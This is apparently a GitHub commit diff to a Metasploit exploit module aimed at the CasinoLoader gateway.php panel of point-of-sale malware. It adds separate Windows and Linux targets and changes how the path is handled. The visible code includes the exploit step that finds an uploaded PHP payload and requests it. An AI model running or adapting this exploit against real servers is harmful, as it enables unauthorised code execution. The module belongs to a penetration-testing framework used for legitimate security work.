File tree Expand file tree Collapse file tree 1 file changed +10
-5
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +10
-5
lines changed Original file line number Diff line number Diff line change @@ -29,7 +29,9 @@ def initialize(info={})
29
29
] ,
30
30
'References' =>
31
31
[
32
- [ "Analysis" , "http://www.xylibox.com/2013/08/point-of-sale-malware-infostealerdexter.html" ]
32
+ [
33
+ "URL" , "http://www.xylibox.com/2013/08/point-of-sale-malware-infostealerdexter.html"
34
+ ]
33
35
] ,
34
36
'Payload' =>
35
37
{
@@ -39,11 +41,12 @@ def initialize(info={})
39
41
'Arch' => ARCH_PHP ,
40
42
'Targets' =>
41
43
[
42
- [ 'CasinoLoader gateway.php' , { } ]
44
+ [ 'CasinoLoader gateway.php on Windows' , { } ] ,
45
+ [ 'CasinoLoader gateway.php on Linux' , { } ]
43
46
] ,
44
47
'Privileged' => false ,
45
- 'DisclosureDate' => "Feb 08 2014" ,
46
- 'DefaultTarget' => 0 ) )
48
+ 'DisclosureDate' => "Feb 08 2014"
49
+ ) )
47
50
48
51
register_options (
49
52
[
@@ -154,7 +157,9 @@ def exploit
154
157
155
158
if res and res . code == 200 and res . body =~ /a href="upload.php\? del=(.*)">/
156
159
path = $1
157
- path = path . sub! "\\ " , "/"
160
+ if target . name =~ /Linux/
161
+ path = path . sub! "\\ " , "/"
162
+ end
158
163
target_path = normalize_uri ( target_uri . path , path )
159
164
print_status ( "#{ peer } - Requesting: #{ target_path } " )
160
165
send_request_raw ( { 'uri' => normalize_uri ( target_path ) } )
You can’t perform that action at this time.
0 commit comments